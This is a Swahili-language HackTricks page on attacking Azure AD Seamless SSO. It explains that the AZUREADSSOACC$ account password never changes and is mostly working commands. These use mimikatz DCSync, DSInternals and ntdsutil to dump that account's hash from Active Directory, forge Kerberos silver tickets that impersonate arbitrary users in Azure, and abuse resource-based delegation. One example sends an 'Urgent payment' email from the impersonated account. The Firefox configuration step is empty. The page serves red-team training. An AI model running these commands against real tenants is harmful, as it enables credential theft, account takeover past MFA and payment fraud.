Az - Seamless SSO

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kutoka kwa nyaraka: Usajili wa Kuingia Moja (Azure AD Seamless SSO) wa Azure Active Directory (Azure AD Seamless SSO) moja kwa moja inaingiza watumiaji wanapokuwa kwenye vifaa vyao vya kampuni vilivyounganishwa kwenye mtandao wako wa kampuni. Ikiwa imewezeshwa, watumiaji hawahitaji kuingiza nywila zao kuingia kwenye Azure AD, na kawaida, hata kuingiza majina yao ya mtumiaji. Kipengele hiki hutoa watumiaji wako ufikiaji rahisi kwa programu zako zilizoko kwenye wingu bila kuhitaji sehemu za ndani za on-premises.

Kimsingi Azure AD Seamless SSO inaingiza watumiaji wanapokuwa kwenye PC iliyoshirikishwa kwenye kikoa cha on-prem.

Inasaidiwa na PHS (Udhibitishaji wa Hashi ya Nywila) na PTA (Udhibitishaji wa Kupitisha).

SSO ya Desktop inatumia Kerberos kwa uthibitishaji. Ikiwa imeboreshwa, Azure AD Connect inaunda akaunti ya kompyuta inayoitwa AZUREADSSOACC$ kwenye AD ya on-prem. Nywila ya akaunti ya AZUREADSSOACC$ inatumwa kama maandishi wazi kwenda Azure AD wakati wa usanidi.

Tiketi za Kerberos zina fichwa kwa kutumia NTHash (MD4) ya nywila na Azure AD inatumia nywila iliyotumwa kufichua tiketi.

Azure AD inafunua kituo (https://autologon.microsoftazuread-sso.com) kinachokubali tiketi za Kerberos. Kivinjari cha mashine iliyoshirikishwa kwenye kikoa kinapeleka tiketi kwa kituo hiki kwa SSO.

On-prem -> wingu

Nywila ya mtumiaji AZUREADSSOACC$ kamwe haibadiliki. Kwa hivyo, msimamizi wa kikoa anaweza kudhoofisha hashi ya akaunti hii, na kisha kutumia kuunda tiketi za fedha kuunganisha na Azure na mtumiaji yeyote wa on-prem aliyesawazishwa:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Kwa hash sasa unaweza kuzalisha tiketi za fedha:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kutekelezwa:

  1. Anzisha Kivinjari: Mozilla Firefox inapaswa kuzinduliwa.

  2. Sanidi Kivinjari:

  3. Fikia Programu ya Wavuti:

    • Tembelea programu ya wavuti iliyounganishwa na kikoa cha AAD cha shirika. Mfano wa kawaida ni Office 365.

  4. Mchakato wa Uthibitisho:

    • Kwenye skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, likiacha uga wa nenosiri wazi.

    • Ili kuendelea, bonyeza TAB au ENTER.

Hii haitoi MFA ikiwa imeanzishwa

Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee

Ikiwa waendeshaji wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza kuweka SID kwa mtumiaji yeyote wa wingu. Kwa njia hii tiketi za Kerberos zinaweza kuundwa pia kwa watumiaji wa wingu pekee. Mahitaji pekee ni kwamba SID ni SID sahihi.

Kubadilisha SID ya watumiaji wa wingu pekee wa admin sasa imezuiliwa na Microsoft. Kwa habari angalia https://aadinternals.com/post/on-prem_admin/

On-prem -> Wingu kupitia Uteuzi wa Kizuizi cha Rasilimali Kulingana na Mamlaka

Yeyote anayeweza kusimamia akaunti za kompyuta (AZUREADSSOACC$) kwenye chombo au OU akaunti hii iko, anaweza kusanidi uteuzi wa kizuizi cha rasilimali kulingana na mamlaka juu ya akaunti na kufikia.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated